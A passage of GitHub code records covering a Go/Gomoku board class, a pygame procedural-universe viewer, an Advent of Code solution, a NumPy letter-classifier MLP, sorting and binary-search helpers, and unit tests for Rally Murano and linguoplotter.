\"\"\"\n lib = self._get_liberty(block)\n if lib != None:\n assert self.get_color(lib) == EMPTY\n for stone in where1d(block):\n self.liberty_of[stone] = lib\n return True\n return False\n\n def _block_of(self, stone):\n \"\"\"\n Find the block of given stone\n Returns a board of boolean markers which are set for\n all the points in the block \n \"\"\"\n marker = np.full(self.maxpoint, False, dtype = bool)\n pointstack = [stone]\n color = self.get_color(stone)\n assert is_black_white(color)\n marker[stone] = True\n while pointstack:\n p = pointstack.pop()\n neighbors = self.neighbors_of_color(p, color)\n for nb in neighbors:\n if not marker[nb]:\n marker[nb] = True\n pointstack.append(nb)\n return marker\n\n def _fast_liberty_check(self, nb_point):\n lib = self.liberty_of[nb_point]\n if lib != NULLPOINT and self.get_color(lib) == EMPTY:\n return True # quick exit, block has a liberty \n if self._stone_has_liberty(nb_point):\n return True # quick exit, no need to look at whole block\n return False\n \n def _detect_capture(self, nb_point):\n \"\"\"\n Check whether opponent block on nb_point is captured.\n Returns boolean.\n \"\"\"\n if self._fast_liberty_check(nb_point):\n return False\n opp_block = self._block_of(nb_point)\n return not self._has_liberty(opp_block)\n \n def _detect_and_process_capture(self, nb_point):\n \"\"\"\n Check whether opponent block on nb_point is captured.\n If yes, remove the stones.\n Returns the stone if only a single stone was captured,\n and returns None otherwise.\n This result is used in play_move to check for possible ko\n \"\"\"\n if self._fast_liberty_check(nb_point):\n return None\n opp_block = self._block_of(nb_point)\n if self._has_liberty(opp_block):\n return None\n captures = list(where1d(opp_block))\n self.board[captures] = EMPTY\n self.liberty_of[captures] = NULLPOINT\n single_capture = None \n if len(captures) == 1:\n single_capture = nb_point\n return single_capture\n\n def play_move(self, point, color):\n \"\"\"\n Play a move of color on point\n Returns boolean: whether move was legal\n \"\"\"\n assert is_black_white(color)\n # Special cases\n if point == PASS:\n self.ko_recapture = None\n self.current_player = GoBoardUtil.opponent(color)\n return True\n elif self.board[point] != EMPTY:\n return False\n if point == self.ko_recapture:\n return False\n \n # General case: deal with captures, suicide, and next ko point\n opp_color = GoBoardUtil.opponent(color)\n in_enemy_eye = self._is_surrounded(point, opp_color)\n self.board[point] = color\n single_captures = []\n neighbors = self.neighbors[point]\n for nb in neighbors:\n if self.board[nb] == opp_color:\n single_capture = self._detect_and_process_capture(nb)\n if single_capture != None:\n single_captures.append(single_capture)\n if not self._stone_has_liberty(point):\n # check suicide of whole block\n block = self._block_of(point)\n if not self._has_liberty(block): # undo suicide move\n self.board[point] = EMPTY\n return False\n self.ko_recapture = None\n if in_enemy_eye and len(single_captures) == 1:\n self.ko_recapture = single_captures[0]\n self.current_player = GoBoardUtil.opponent(color)\n return True\n\n def neighbors_of_color(self, point, color):\n \"\"\" List of neighbors of point of given color \"\"\"\n nbc = []\n for nb in self.neighbors[point]:\n if self.get_color(nb) == color:\n nbc.append(nb)\n return nbc\n \n def find_neighbor_of_color(self, point, color):\n \"\"\" Return one neighbor of point of given color, or None \"\"\"\n for nb in self.neighbors[point]:\n if self.get_color(nb) == color:\n return nb\n return None\n \n def _neighbors(self, point):\n \"\"\" List of all four neighbors of the point \"\"\"\n return [point - 1, point + 1, point - self.NS, point + self.NS]\n\n def _diag_neighbors(self, point):\n \"\"\" List of all four diagonal neighbors of point \"\"\"\n return [point - self.NS - 1, \n point - self.NS + 1, \n point + self.NS - 1, \n point + self.NS + 1]\n \n def _point_to_coord(self, point):\n \"\"\"\n Transform point index to row, col.\n \n Arguments\n ---------\n point\n \n Returns\n -------\n x , y : int\n coordination of the board 1<= x <=size, 1<= y <=size .\n \"\"\"\n if point is None:\n return 'pass'\n row, col = divmod(point, self.NS)\n return row, col\n\n def is_legal_gomoku(self, point, color):\n \"\"\"\n Check whether it is legal for color to play on point, for the game of gomoku\n \"\"\"\n return self.board[point] == EMPTY\n \n def play_move_gomoku(self, point, color):\n \"\"\"\n Play a move of color on point, for the game of gomoku\n Returns boolean: whether move was legal\n \"\"\"\n assert is_black_white(color)\n assert point != PASS\n if self.board[point] != EMPTY:\n return False\n self.board[point] = color\n self.current_player = GoBoardUtil.opponent(color)\n self.movelist.append(point)\n\n #print(self.movelist)\n return True\n \n def _point_direction_check_connect_gomoko(self, point, shift):\n \"\"\"\n Check if the point has connect5 condition in a direction\n for the game of Gomoko.\n \"\"\"\n color = self.board[point]\n count = 1\n d = shift\n p = point\n while True:\n p = p + d\n if self.board[p] == color:\n count = count + 1\n if count == 5:\n break\n else:\n break\n d = -d\n p = point\n while True:\n p = p + d\n if self.board[p] == color:\n count = count + 1\n if count == 5:\n break\n else:\n break\n assert count <= 5\n return count == 5\n \n def point_check_game_end_gomoku(self, point):\n \"\"\"\n Check if the point causes the game end for the game of Gomoko.\n \"\"\"\n # check horizontal\n if self._point_direction_check_connect_gomoko(point, 1):\n return True\n \n # check vertical\n if self._point_direction_check_connect_gomoko(point, self.NS):\n return True\n \n # check y=x\n if self._point_direction_check_connect_gomoko(point, self.NS + 1):\n return True\n \n # check y=-x\n if self._point_direction_check_connect_gomoko(point, self.NS - 1):\n return True\n \n return False\n \n def check_game_end_gomoku(self):\n \"\"\"\n Check if the game ends for the game of Gomoku.\n \"\"\"\n white_points = where1d(self.board == WHITE)\n black_points = where1d(self.board == BLACK)\n \n for point in white_points:\n if self.point_check_game_end_gomoku(point):\n return True, WHITE\n \n for point in black_points:\n if self.point_check_game_end_gomoku(point):\n return True, BLACK\n\n return False, None\n","repo_name":"lllor/cmput-496-Go","sub_path":"assignment3/simple_board.py","file_name":"simple_board.py","file_ext":"py","file_size_in_byte":22226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38431974744","text":"from lemire import dlRandom\r\nimport pygameUtils as pyg\r\nfrom pygameUtils import vec2d\r\nimport pygame, sys, timeit\r\n\r\nWHITE = (255, 255, 255)\r\nBLACK = (0 , 0 , 0 )\r\n\r\nSTARCOLOURS = [\r\n\t(255, 255, 255), (255, 192, 203), (50, 255, 50), (50, 50, 255),\r\n\t(255, 255, 50), (50, 255, 255), (75, 75, 75), (255, 255, 200)\r\n]\r\n\r\nclass Planet:\r\n\tdef __init__(self):\r\n\t\tself.distance = 0.0\r\n\t\tself.diameter = 0.0\r\n\t\tself.foliage = 0.0\r\n\t\tself.minerals = 0.0\r\n\t\tself.water = 0.0\r\n\t\tself.gases = 0.0\r\n\t\tself.temperature = 0.0\r\n\t\tself.population = 0.0\r\n\t\tself.ring = False\r\n\t\tself.moons = []\r\n\r\nclass StarSystem:\r\n\tdef __init__(self, x, y, generateFullSystem = False):\r\n\t\tself.x = x\r\n\t\tself.y = y\r\n\t\tself.nWyuno = (x & 0xFFFF) << 16 | (y & 0xFFFF)\r\n\t\tif self.nWyuno == 0: self.nWyuno = 1\r\n\t\tself.rb = dlRandom(self.nWyuno)\r\n\t\tself.planets = []\r\n\r\n\t\tself.starExists = (self.rb.wyuno_range(0, 20) == 1)\r\n\t\tif self.starExists:\r\n\r\n\t\t\tself.starDiameter = self.rb.wyuno_range(100, 800) / 10\r\n\t\t\tself.starColour = STARCOLOURS[self.rb.wyuno_range(0, 8)]\r\n\r\n\t\t\tif generateFullSystem:\r\n\t\t\t\tdistanceFromStar = self.rb.wyuno_range(600, 2000) / 10\r\n\t\t\t\tnPlanets = self.rb.wyuno_range(0, 10)\r\n\t\t\t\tfor i in range(nPlanets):\r\n\t\t\t\t\tp = Planet()\r\n\t\t\t\t\tp.distance = distanceFromStar\r\n\t\t\t\t\tdistanceFromStar += self.rb.wyuno_range(200, 2000) / 10\r\n\t\t\t\t\tp.diameter = self.rb.wyuno_range(40, 200) / 10\r\n\t\t\t\t\tp.temperature = self.rb.wyuno_range(-2000, 3000) / 10\r\n\t\t\t\t\tp.foliage = self.rb.wyuno_range(1, 10000) / 10000\r\n\t\t\t\t\tp.minerals = self.rb.wyuno_range(1, 10000) / 10000\r\n\t\t\t\t\tp.gases = self.rb.wyuno_range(1, 10000) / 10000\r\n\t\t\t\t\tp.water = self.rb.wyuno_range(1, 10000) / 10000\r\n\t\t\t\t\tdSum = 1 / (p.foliage + p.minerals + p.gases + p.water)\r\n\t\t\t\t\tp.foliage *= dSum;p.minerals *= dSum;p.gases *= dSum;p.water *= dSum;\r\n\r\n\t\t\t\t\tp.population = max(self.rb.wyuno_range(-5000000, 20000000), 0)\r\n\t\t\t\t\tp.ring = self.rb.wyuno_range(0, 10) == 1\r\n\r\n\t\t\t\t\tmoons = max(self.rb.wyuno_range(-5, 5), 0)\r\n\t\t\t\t\tfor j in range(moons):\r\n\t\t\t\t\t\tp.moons.append(self.rb.wyuno_range(10, 50) / 10)\r\n\r\n\t\t\t\t\tself.planets.append(p)\r\n\r\n\r\n\r\n\r\nclass Universe:\r\n\tdef __init__(self):\r\n\t\tpygame.init()\r\n\t\tself.config()\r\n\t\tself.ready()\r\n\r\n\tdef config(self):\r\n\t\tself.cell = 16\r\n\t\tself.size = (self.cell * 40, self.cell * 40)\r\n\t\tself.title = \"Procedural Universe - FPS: %fps%\"\r\n\t\tself.root = pygame.display.set_mode(self.size, pygame.HWSURFACE | pygame.DOUBLEBUF)\r\n\t\tself.master = pygame.Surface(self.root.get_size())\r\n\t\tself.active = True\r\n\t\tself.fps = 0\r\n\t\tself.galaxyOffset = vec2d()\r\n\t\tself.starSelected = False\r\n\t\tself.whichStarSelected = vec2d()\r\n\r\n\t\tself.rb = dlRandom()\r\n\t\tself.deltatime = pyg.deltatime(self, True)\r\n\t\tself.arial24 = pygame.font.SysFont('Arial Black', 24)\r\n\r\n\t\tpygame.display.set_caption(self.title)\r\n\r\n\tdef loop_header(self):\r\n\t\t# Deltatime, keys and mouse pos\r\n\t\tself.deltatime = pyg.deltatime(self)\r\n\t\tself.keys = pygame.key.get_pressed()\r\n\t\tself.mouse = pygame.mouse.get_pos()\r\n\t\tself.mousep = pygame.mouse.get_pressed()\r\n\r\n\t\t# FPS\r\n\t\tif self.deltatime != 0:\r\n\t\t\tself.fps = round(1/self.deltatime, 2)\r\n\t\t\tpygame.display.set_caption(self.title.replace(\"%fps%\", str(self.fps)))\r\n\r\n\tdef ready(self):\r\n\t\twhile self.active:\r\n\t\t\tself.loop_header()\r\n\r\n\t\t\t# Events\r\n\t\t\tfor event in pygame.event.get():\r\n\t\t\t\tif event.type == pygame.QUIT:\r\n\t\t\t\t\tself.active = False\r\n\r\n\t\t\t# Controls\r\n\t\t\tinit_speed = 50\r\n\t\t\tspeed = init_speed\r\n\t\t\tif self.keys[pygame.K_LCTRL]: speed *= 3\r\n\t\t\tif self.keys[pygame.K_w]: self.galaxyOffset.y -= speed * self.deltatime\r\n\t\t\tif self.keys[pygame.K_s]: self.galaxyOffset.y += speed * self.deltatime\r\n\t\t\tif self.keys[pygame.K_a]: self.galaxyOffset.x -= speed * self.deltatime\r\n\t\t\tif self.keys[pygame.K_d]: self.galaxyOffset.x += speed * self.deltatime\r\n\r\n\t\t\tspeed = init_speed\r\n\r\n\t\t\tif self.keys[pygame.K_q]:\r\n\t\t\t\tx_input, y_input = 0, 0\r\n\t\t\t\tx_input = round(float(input(\"x \")), 2)\r\n\t\t\t\ty_input = round(float(input(\"y \")), 2)\r\n\t\t\t\tself.galaxyOffset = vec2d(x_input, y_input)\r\n\r\n\r\n\t\t\t# Clear\r\n\t\t\tself.root.fill((0, 0, 0))\r\n\t\t\tself.master.fill((0, 0, 0))\r\n\r\n\t\t\t# Stars\r\n\r\n\t\t\t# Mouse\r\n\t\t\tsMouse = vec2d(self.mouse[0] / self.cell, self.mouse[1] / self.cell)\r\n\t\t\tgalaxy_mouse = sMouse + self.galaxyOffset\r\n\r\n\t\t\t# Galaxy\r\n\t\t\tsectorsX = round(self.size[0] / self.cell)\r\n\t\t\tsectorsY = round(self.size[1] / self.cell)\r\n\r\n\t\t\t# Do stuff\r\n\t\t\tfor x in range(int(self.size[0] / 8)):\r\n\t\t\t\tfor y in range(int(self.size[1] / 8)):\r\n\t\t\t\t\tnSeed = y + sectorsY + int(self.galaxyOffset.y) << 16 | x + sectorsX + int(self.galaxyOffset.x)\r\n\t\t\t\t\tself.rb.__seed__(nSeed)\r\n\t\t\t\t\tif self.rb.wyuno_range(1, 256) < 32:\r\n\t\t\t\t\t\tself.master.set_at((x * 8, y * 8), (100, 100, 100))\r\n\r\n\t\t\tscreen_sector = vec2d()\r\n\t\t\tfor screen_sector.x in range(sectorsX):\r\n\t\t\t\tfor screen_sector.y in range(sectorsY):\r\n\t\t\t\t\tstar = StarSystem(screen_sector.x + int(self.galaxyOffset.x),\r\n\t\t\t\t\t\tscreen_sector.y + int(self.galaxyOffset.y))\r\n\r\n\t\t\t\t\tif star.starExists:\r\n\t\t\t\t\t\tpygame.draw.circle(\r\n\t\t\t\t\t\t\tself.master,\r\n\t\t\t\t\t\t\tstar.starColour,\r\n\t\t\t\t\t\t\t(screen_sector.x * self.cell + self.cell / 2, screen_sector.y * self.cell + self.cell / 2),\r\n\t\t\t\t\t\t\tstar.starDiameter / 8,\r\n\t\t\t\t\t\t\twidth = 0\r\n\t\t\t\t\t\t)\r\n\r\n\t\t\t\t\t\tif int(sMouse.x) == screen_sector.x and int(sMouse.y) == screen_sector.y:\r\n\t\t\t\t\t\t\tcolor = (255, 0, 0)\r\n\t\t\t\t\t\t\tif self.mousep[0]: color = (255, 255, 255)\r\n\t\t\t\t\t\t\tpygame.draw.circle(\r\n\t\t\t\t\t\t\t\tself.master,\r\n\t\t\t\t\t\t\t\tcolor,\r\n\t\t\t\t\t\t\t\t(screen_sector.x * self.cell + self.cell / 2, screen_sector.y * self.cell + self.cell / 2),\r\n\t\t\t\t\t\t\t\t12,\r\n\t\t\t\t\t\t\t\twidth = 2\r\n\t\t\t\t\t\t\t)\r\n\r\n\t\t\tif self.mousep[0]:\r\n\t\t\t\tstar = StarSystem(int(galaxy_mouse.x), int(galaxy_mouse.y))\r\n\r\n\t\t\t\tif star.starExists:\r\n\t\t\t\t\tself.starSelected = True\r\n\t\t\t\t\tself.whichStarSelected = galaxy_mouse\r\n\r\n\t\t\t\telse:\r\n\t\t\t\t\tself.starSelected = False\r\n\r\n\r\n\t\t\tif self.starSelected:\r\n\t\t\t\tstar = StarSystem(int(self.whichStarSelected.x), int(self.whichStarSelected.y), True)\r\n\r\n\t\t\t\tpygame.draw.rect(self.master, (0, 0, 71), \t(8, self.size[1] - 232 - 8, self.size[0] - 8, 232), width=0)\r\n\t\t\t\tpygame.draw.rect(self.master, WHITE, \t\t(8, self.size[1] - 232 - 8, self.size[0] - 8, 232), width=1)\r\n\r\n\t\t\t\tvBody = vec2d(14, self.size[1] - 232 - 8 + (356 - 240))\r\n\t\t\t\tvBody.x += star.starDiameter * 1.375\r\n\t\t\t\tpygame.draw.circle(self.master,\r\n\t\t\t\t\tstar.starColour,\r\n\t\t\t\t\t(vBody.x, vBody.y),\r\n\t\t\t\t\tstar.starDiameter * 1.375,\r\n\t\t\t\t\twidth = 0\r\n\t\t\t\t)\r\n\t\t\t\tvBody.x += star.starDiameter * 1.375 + 8\r\n\r\n\t\t\t\tfor planet in star.planets:\r\n\t\t\t\t\tif (vBody.x + planet.diameter >= 496): break\r\n\r\n\t\t\t\t\tvBody.x += planet.diameter\r\n\t\t\t\t\tpygame.draw.circle(self.master,\r\n\t\t\t\t\t\t(255, 15, 15),\r\n\t\t\t\t\t\t(vBody.x, vBody.y),\r\n\t\t\t\t\t\tplanet.diameter * 1.0,\r\n\t\t\t\t\t\twidth = 0\r\n\t\t\t\t\t)\r\n\r\n\t\t\t\t\tvMoon = vec2d(vBody.x, vBody.y)\r\n\t\t\t\t\tvMoon.y += planet.diameter + 10\r\n\r\n\t\t\t\t\tfor moon in planet.moons:\r\n\t\t\t\t\t\tvMoon.y += moon\r\n\t\t\t\t\t\tpygame.draw.circle(self.master,\r\n\t\t\t\t\t\t\t(150, 150, 150),\r\n\t\t\t\t\t\t\t(vMoon.x, vMoon.y),\r\n\t\t\t\t\t\t\tmoon * 1.0,\r\n\t\t\t\t\t\t\twidth = 0\r\n\t\t\t\t\t\t)\r\n\t\t\t\t\t\tvMoon.y += moon + 10\r\n\r\n\t\t\t\t\tvBody.x += planet.diameter + 8\r\n\r\n\t\t\tcoordRender = self.arial24.render(f\"({round(self.galaxyOffset.x, 2)}, {round(self.galaxyOffset.y, 2)})\", True, (255, 0, 0))\r\n\t\t\tself.master.blit(coordRender, (4, 0))\r\n\r\n\t\t\t# Render\r\n\t\t\tself.root.blit(self.master, (0, 0))\r\n\t\t\tpygame.display.flip()\r\n\r\n\r\n\t\tsys.exit()\r\n\r\nif __name__ == \"__main__\":\r\n\tmaster = Universe()\r\n","repo_name":"AkzidenzGrotesk-py/PythonProjects","sub_path":"pygame/proc/procedural_universe.py","file_name":"procedural_universe.py","file_ext":"py","file_size_in_byte":7280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72507711501","text":"\"\"\"Help elves repack their backpacks.\"\"\"\n\nimport string\n\n\n_lowers_then_uppers = ''.join((string.ascii_lowercase, string.ascii_uppercase))\n_priorities = dict(zip(_lowers_then_uppers, range(1, 53)))\n\n\ndef split_into_compartments(backpack):\n assert not len(backpack) % 2, f\"Illegal backpack with length {len(backpack)}: {backpack}\"\n half = len(backpack) // 2\n return backpack[:half], backpack[half:]\n\n\ndef split_into_groups(elves):\n try:\n while True:\n yield (next(elves).strip(), next(elves).strip(),\n next(elves).strip())\n except StopIteration:\n return\n\n\nif __name__ == '__main__':\n import argparse\n p = argparse.ArgumentParser()\n p.add_argument('filename')\n args = p.parse_args()\n\n with open(args.filename, 'r') as f:\n print(\"Part 1:\")\n print(sum(_priorities[set(_lowers_then_uppers).intersection(*split_into_compartments(line.strip())).pop()]\n for line in f))\n f.seek(0)\n print(\"\\nPart 2:\")\n print(sum(_priorities[set(_lowers_then_uppers).intersection(*elves).pop()]\n for elves in split_into_groups(f)))\n","repo_name":"amcameron/aoc2022","sub_path":"day03/compartments.py","file_name":"compartments.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9757602328","text":"import numpy as np\nimport cv2\nimport os\nimport sys\n\n\nfilename = sys.argv[1] \n\n#Network Parameters\n\nepochs = 500\nalpha = 0.005\n\nn_input = 34*34\nn_hidden1 = 256\nn_hidden2 = 100\nn_output = 5\nn_train = 1000\n\n\n#Activation Function \ndef sigmoid(array):\n sig = 1/(1+(np.exp(-array)))\n return sig\n\n#Random initialization of weights\ndef network_init(n_input,n_hidden1,n_hidden2,n_output):\n epsilon_init = 0.12\n w1 = (np.random.rand(n_input+1,n_hidden1)*2*epsilon_init)-epsilon_init\n w2 = (np.random.rand(n_hidden1+1,n_hidden2)*2*epsilon_init)-epsilon_init\n w3 = (np.random.rand(n_hidden2+1,n_output)*2*epsilon_init)-epsilon_init\n \n return w1,w2,w3\n\n#Conversion of images into stacked numpy arrays (matrix form)\ndef data_init():\n dict_list = ['A','B','C','D','E']\n\n X_train = np.empty([n_output,int(n_train/n_output),34,34])\n Y_train = np.empty([n_output,int(n_train/n_output),n_output])\n iteration = 0\n for i in dict_list:\n folder = (filename + \"/{0}/\".format(i))\n count = 0\n for file in os.listdir(folder):\n img = cv2.imread(os.path.join(folder,file),0)\n if img is not None and count<200:\n X_train[iteration,count] = np.array(img)\n Y_train[iteration,count] = 0\n Y_train[iteration,count,iteration] = 1\n count += 1\n iteration += 1\n\n X_train = X_train/255\n X_train = X_train.reshape([n_train,n_input])\n Y_train = Y_train.reshape([n_train,n_output])\n return X_train,Y_train\n\n# Feed forward using the trained weights\ndef predict(w1,w2,w3,X):\n X_bias = np.insert(X,0,[1],axis=1)\n hidden = np.matmul(X_bias,w1)\n hidden_final = sigmoid(hidden)\n\n hidden_final_bias = np.insert(hidden_final,0,[1],axis=1)\n output1 = np.matmul(hidden_final_bias,w2)\n output1 = sigmoid(output1)\n \n output1_bias = np.insert(output1,0,[1],axis=1)\n output2 = np.matmul(output1_bias,w3)\n final_output = sigmoid(output2)\n \n print(\"The likelihood that the test character is A is {0}%\" .format(final_output.item(0)*100/final_output.sum()))\n print(\"The likelihood that the test character is B is {0}%\" .format(final_output.item(1)*100/final_output.sum()))\n print(\"The likelihood that the test character is C is {0}%\" .format(final_output.item(2)*100/final_output.sum()))\n print(\"The likelihood that the test character is D is {0}%\" .format(final_output.item(3)*100/final_output.sum()))\n print(\"The likelihood that the test character is E is {0}%\" .format(final_output.item(4)*100/final_output.sum()))\n\n################################################# Training ##############################################################################\n\n#After the training is executed once, the weights are stored in weightsN.npy.\n# In the next execution, the training algo checks for these weights mentioned in File1, File2, File3 variable\n# If weights are detected, then testing is implemented.\n\ndef training():\n File1 = (filename + \"/weights11.npy\")\n File2 = (filename + \"/weights22.npy\")\n File3 = (filename + \"/weights33.npy\")\n\n X,Y = data_init()\n w1,w2,w3 = network_init(n_input,n_hidden1,n_hidden2,n_output)\n\n if not ((os.path.exists(File1)) and (os.path.exists(File2)) and (os.path.exists(File3))):\n for i in range(epochs):\n #feed forward\n X_bias = np.insert(X,0,[1],axis=1)\n hidden = np.matmul(X_bias,w1)\n hidden_final = sigmoid(hidden)\n\n hidden_final_bias = np.insert(hidden_final,0,[1],axis=1)\n output1 = np.matmul(hidden_final_bias,w2)\n output1 = sigmoid(output1)\n \n output1_bias = np.insert(output1,0,[1],axis=1)\n output2 = np.matmul(output1_bias,w3)\n final_output = sigmoid(output2)\n\n w3_nobias = np.delete(w3,1,axis=0)\n w2_nobias = np.delete(w2,1,axis=0)\n w1_nobias = np.delete(w1,1,axis=0)\n \n #Backpropogation\n delta_output = (final_output -Y)*final_output*(1-final_output)\n w3 = w3 - alpha*np.matmul(output1_bias.transpose(),delta_output)\n\n delta_temp = np.matmul(delta_output,w3_nobias.transpose())\n delta_hidden_2 = delta_temp*(output1)*(1-output1)\n w2 = w2 - alpha*np.matmul(hidden_final_bias.transpose(),delta_hidden_2)\n\n delta_temp = np.matmul(delta_hidden_2,w2_nobias.transpose())\n delta_hidden_1 = delta_temp*(hidden_final)*(1-hidden_final)\n w1 = w1 - alpha*np.matmul(X_bias.transpose(),delta_hidden_1)\n\n cost = np.square(final_output-Y)/n_input\n cost = (cost.sum())\n print(cost)\n \n #save trained weights\n np.save('weights11', w1)\n np.save('weights22', w2)\n np.save('weights33', w3)\n\n###################################################### Testing #############################################################################\ndef testing():\n #Update the location of w1,w2,w3 according to your PC location\n w1 = np.load(filename + \"/weights11.npy\")\n w2 = np.load(filename + \"/weights22.npy\")\n w3 = np.load(filename + \"/weights33.npy\")\n\n test = cv2.imread(filename + \"A/4955.jpg\",0)\n X_test = np.array(test.reshape([1,n_input]))\n predict(w1,w2,w3,X_test)\n\ndef main():\n training()\n testing()\n \n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Rohanmestri/Alphabet-Classification-using-MLP-Backpropagation","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8383725027","text":"# 排序类算法\n\n# 快排模板\n# leetcode: 215题, 480题\ndef quik_sort(nums, left, right):\n if left >= right:\n return\n mid_value = nums[left]\n start = left\n end = right\n while left < right:\n # print(left, right)\n while left < right and nums[right] >= mid_value:\n right -= 1\n nums[left] = nums[right]\n\n while left < right and nums[left] <= mid_value:\n left += 1\n nums[right] = nums[left]\n # 跳出循环时left = right\n nums[left] = mid_value\n quik_sort(nums, start, left - 1)\n quik_sort(nums, left + 1, end)\n\n# 二分查找, nums为递增数组\n# leetcode: 34题, 480题\ndef binarySearch(nums, left, right, n):\n if left > right: return -1\n\n mid_pos = (left + right)//2\n # print(mid_pos)\n mid_value = nums[mid_pos]\n if mid_value == n:\n return mid_pos\n elif mid_value > n:\n return binarySearch(nums, left, mid_pos - 1, n)\n else:\n return binarySearch(nums, mid_pos+1, right, n)\n\n\nif __name__ == \"__main__\":\n nums = [3, 7, 6, 3]\n quik_sort(nums, 0, 3)\n print(nums)\n print(binarySearch(nums, 0, 3, 3))","repo_name":"boy56/LeetcodeAlgo","sub_path":"sortAlgo.py","file_name":"sortAlgo.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27673494446","text":"import mock\n\nfrom rally.plugins.openstack.scenarios.murano import environments\nfrom tests.unit import test\n\nCTX = \"rally.task.context\"\nMURANO_SCENARIO = (\"rally.plugins.openstack.scenarios.murano.\"\n \"environments.MuranoEnvironments\")\n\n\nclass MuranoEnvironmentsTestCase(test.ScenarioTestCase):\n\n def _get_context(self):\n self.context.update({\n \"tenant\": {\n \"packages\": [mock.MagicMock(fully_qualified_name=\"fake\")]\n },\n \"user\": {\n \"tenant_id\": \"fake_tenant_id\"\n },\n \"config\": {\n \"murano_packages\": {\n \"app_package\": (\n \"rally-jobs/extra/murano/\"\n \"applications/HelloReporter/\"\n \"io.murano.apps.HelloReporter.zip\")\n }\n }\n })\n return self.context\n\n @mock.patch(MURANO_SCENARIO + \"._list_environments\")\n def test_list_environments(self, mock__list_environments):\n scenario = environments.MuranoEnvironments(self.context)\n scenario._list_environments()\n mock__list_environments.assert_called_once_with()\n\n @mock.patch(MURANO_SCENARIO + \"._create_session\")\n @mock.patch(MURANO_SCENARIO + \"._delete_environment\")\n @mock.patch(MURANO_SCENARIO + \"._create_environment\")\n @mock.patch(MURANO_SCENARIO + \".generate_random_name\")\n def test_create_and_delete_environment(\n self, mock_generate_random_name, mock__create_environment,\n mock__delete_environment, mock__create_session):\n scenario = environments.MuranoEnvironments(self.context)\n fake_environment = mock.Mock(id=\"fake_id\")\n mock__create_environment.return_value = fake_environment\n mock_generate_random_name.return_value = \"foo\"\n scenario.create_and_delete_environment()\n mock__create_environment.assert_called_once_with()\n mock__create_session.assert_called_once_with(fake_environment.id)\n mock__delete_environment.assert_called_once_with(fake_environment)\n\n @mock.patch(MURANO_SCENARIO + \"._create_environment\")\n @mock.patch(MURANO_SCENARIO + \"._create_session\")\n @mock.patch(MURANO_SCENARIO + \"._create_service\")\n @mock.patch(MURANO_SCENARIO + \"._deploy_environment\")\n def test_create_and_deploy_environment(\n self, mock__deploy_environment, mock__create_service,\n mock__create_session, mock__create_environment):\n\n fake_environment = mock.MagicMock(id=\"fake_env_id\")\n mock__create_environment.return_value = fake_environment\n\n fake_session = mock.Mock(id=\"fake_session_id\")\n mock__create_session.return_value = fake_session\n\n scenario = environments.MuranoEnvironments(self.context)\n scenario.context = self._get_context()\n scenario.context[\"tenants\"] = {\n \"fake_tenant_id\": {\n \"packages\": [mock.MagicMock()]\n }\n }\n\n scenario.create_and_deploy_environment(1)\n\n mock__create_environment.assert_called_once_with()\n mock__create_session.assert_called_once_with(fake_environment.id)\n mock__create_service.assert_called_once_with(\n fake_environment, fake_session, \"fake\", atomic_action=False)\n mock__deploy_environment.assert_called_once_with(\n fake_environment, fake_session)\n","repo_name":"noah8713/rally-ovs","sub_path":"tests/unit/plugins/openstack/scenarios/murano/test_environments.py","file_name":"test_environments.py","file_ext":"py","file_size_in_byte":3386,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"30181489111","text":"import pytest\nfrom unittest.mock import Mock\n\nfrom linguoplotter.codelet_result import CodeletResult\nfrom linguoplotter.codelets.builders.projection_builders import ChunkProjectionBuilder\nfrom linguoplotter.structure_collection import StructureCollection\nfrom linguoplotter.structures.links import Correspondence\nfrom linguoplotter.tools import hasinstance\n\n\n@pytest.fixture\ndef grammar_space(bubble_chamber):\n space = Mock()\n space.name = \"grammar\"\n bubble_chamber.conceptual_spaces = bubble_chamber.new_structure_collection(space)\n return space\n\n\n@pytest.fixture\ndef target_view():\n view = Mock()\n view.slot_values = {}\n return view\n\n\n@pytest.fixture\ndef target_projectee(target_view):\n chunk = Mock()\n chunk_copy = Mock()\n chunk_copy.locations = []\n chunk.copy_to_location.return_value = chunk_copy\n return chunk\n\n\ndef test_projects_chunk_into_output_space(\n bubble_chamber, target_view, target_projectee, grammar_space\n):\n target_projectee.has_correspondence_to_space.return_value = False\n target_structures = {\n \"target_view\": target_view,\n \"target_projectee\": target_projectee,\n \"target_correspondence\": None,\n \"frame_correspondee\": None,\n \"non_frame\": None,\n \"non_frame_correspondee\": None,\n }\n builder = ChunkProjectionBuilder(\"\", \"\", bubble_chamber, target_structures, 1.0)\n builder.run()\n assert CodeletResult.FINISH == builder.result\n\n\ndef test_fizzles_if_chunk_projection_exists(\n bubble_chamber, target_view, target_projectee\n):\n target_projectee.has_correspondence_to_space.return_value = True\n target_structures = {\n \"target_view\": target_view,\n \"target_projectee\": target_projectee,\n \"target_correspondence\": None,\n \"frame_correspondee\": None,\n \"non_frame\": None,\n \"non_frame_correspondee\": None,\n }\n builder = ChunkProjectionBuilder(\"\", \"\", bubble_chamber, target_structures, 1.0)\n builder.run()\n assert CodeletResult.FIZZLE == builder.result\n","repo_name":"georgeawright/linguoplotter","sub_path":"tests/unit/codelets/builders/projection_builders/test_chunk_projection_builder.py","file_name":"test_chunk_projection_builder.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28059192092","text":"import csv\nimport os\nimport uuid\nimport bcrypt\nfrom decimal import Decimal\nfrom wallet import Wallet\nfrom transaction import Transaction\nfrom typing import AnyStr\n\n\nclass User(Wallet, Transaction):\n TYPES = ('basic', '')\n\n def __init__(self, first_name, last_name, balance=Decimal('0.00'), count=0,\n user=\"5aa95009-a971-4ebf-88a7-a6a8a2d10da8\") -> None:\n 